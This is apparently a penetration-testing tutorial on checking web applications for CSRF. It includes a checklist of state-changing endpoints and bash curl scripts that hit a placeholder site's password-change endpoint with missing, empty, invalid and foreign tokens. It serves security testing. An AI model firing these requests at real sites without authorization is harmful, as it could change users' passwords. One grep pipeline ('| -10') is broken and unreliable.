Testing for Cross Site Request Forgery (CSRF)
Cross-Site Request Forgery (CSRF) forces authenticated users to execute unwanted actions on a web application. Attackers craft malicious requests that are automatically sent by the victim's browser with their session credentials, allowing unauthorized actions like password changes, fund transfers, or data modifications.
# Find endpoints that modify data
# Look for: POST, PUT, DELETE, PATCH requests
# Examples:
# - Password change
# - Email update
# - Fund transfer
# - Settings modification
# - Account deletion
# Capture requests with Burp and identify:
# 1. Endpoints that change state
# 2. Presence of CSRF tokens
# 3. Token validation behavior
#!/bin/bash
TARGET="https://target.com"
# Get authenticated page with form
page=$(curl -s -b "session=valid_session" "$TARGET/settings")
# Look for CSRF tokens
echo "$page" | grep -iE "csrf|token|_token|authenticity" | -10
#!/bin/bash
TARGET="https://target.com"
SESSION="valid_session_cookie"
# Test 1: Request without token
curl -s -X POST "$TARGET/api/change-password" \
-b "session=$SESSION" \
-H "Content-Type: application/json" \
-d '{"new_password":"newpass123"}'
# Test 2: Request with empty token
curl -s -X POST "$TARGET/api/change-password" \
-b "session=$SESSION" \
-H "Content-Type: application/json" \
-d '{"new_password":"newpass123","csrf_token":""}'
# Test 3: Request with invalid token
curl -s -X POST "$TARGET/api/change-password" \
-b "session=$SESSION" \
-H "Content-Type: application/json" \
-d '{"new_password":"newpass123","csrf_token":"invalid123"}'
# Test 4: Request with another user's token
curl -s -X POST "$TARGET/api/change-password" \
-b "session=$SESSION" \
-H "Content-Type: application/json" \
-d '{"new_password":"newpass123","csrf_token":"other_user_token"}'
